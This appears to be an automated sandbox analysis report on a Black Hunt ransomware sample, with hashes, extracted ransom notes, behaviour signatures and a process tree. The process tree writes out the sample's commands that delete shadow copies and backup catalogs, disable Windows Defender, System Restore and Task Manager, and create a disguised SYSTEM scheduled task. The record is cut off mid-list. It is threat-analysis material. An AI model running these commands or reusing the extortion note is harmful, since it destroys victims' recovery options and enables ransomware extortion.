Analysis

  • max time kernel
    92s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-01-2024 01:06

General

  • Target

    db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe

  • Size

    707KB

  • MD5

    3969e1ae286fc9b3d1e8bf8eb0914d5b

  • SHA1

    75b6371812c5c2384a66d027257127236712739a

  • SHA256

    db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531

  • SHA512

    a915163b7786c80056573e88c2f5963f387a9cae41383fb2ae720ccc8991d0b8d77b8a0679c6e660d29e764cfca902633a0dae0a53ee4adc3573ee8d797dfd60

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1k8mvnh:6uaTmkZJ+naie5OTamgEoKxLWnYh

Malware Config

Extracted

Path

C:\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make
URLs

http-equiv="x-ua-compatible"

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
YOUR WHOLE NETWORK HAS BEEN PENETRATED BY Black Hunt ! We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation! Restore your data possible only buying private key from us ATTENTION remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums Remain all of your files untouched, do not change their name, extension and... CONTACT US Your system is offline. in order to contact us you can email this address [email protected] this ID ( mb4NW2l2u1UdKZQi ) for the title of your email. If you weren't able to contact us whitin 24 hours please email: [email protected] Check your data situation in http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
URLs

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (3396) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 9 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
    "C:\Users\Admin\AppData\Local\Temp\db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2148
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3744
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        3⤵
        • Modifies registry class
        PID:4264
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2700
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
        3⤵
          PID:3960
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:1152
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
          2⤵
            PID:2180
            • C:\Windows\system32\reg.exe
              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
              3⤵
                PID:936
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
              2⤵
                PID:4584
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                  3⤵
                    PID:4164
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                  2⤵
                    PID:1152
                    • C:\Windows\system32\bcdedit.exe
                      bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                      3⤵
                      • Modifies boot configuration data using bcdedit
                      PID:5936
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                    2⤵
                      PID:4748
                      • C:\Windows\system32\wbadmin.exe
                        wbadmin.exe delete catalog -quiet
                        3⤵
                        • Deletes backup catalog
                        PID:5972
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                        3⤵
                          PID:1092
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                        2⤵
                          PID:3148
                          • C:\Windows\system32\schtasks.exe
                            schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                            3⤵
                              PID:5800
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                            2⤵
                              PID:2044
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                              2⤵
                                PID:1284
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                2⤵
                                  PID:1068
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                  2⤵
                                    PID:1056
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                    2⤵
                                      PID:2204
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                      2⤵
                                        PID:2004
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                        2⤵
                                          PID:624
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe" /F
                                          2⤵
                                            PID:2028
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:2696
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                              2⤵
                                                PID:2672
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:3828
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                  2⤵
                                                    PID:1472
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:2976
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:4136
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:3628
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:1032
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:3100
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:4776
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:4368
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:3304
                                                                  • C:\Windows\System32\cmd.exe
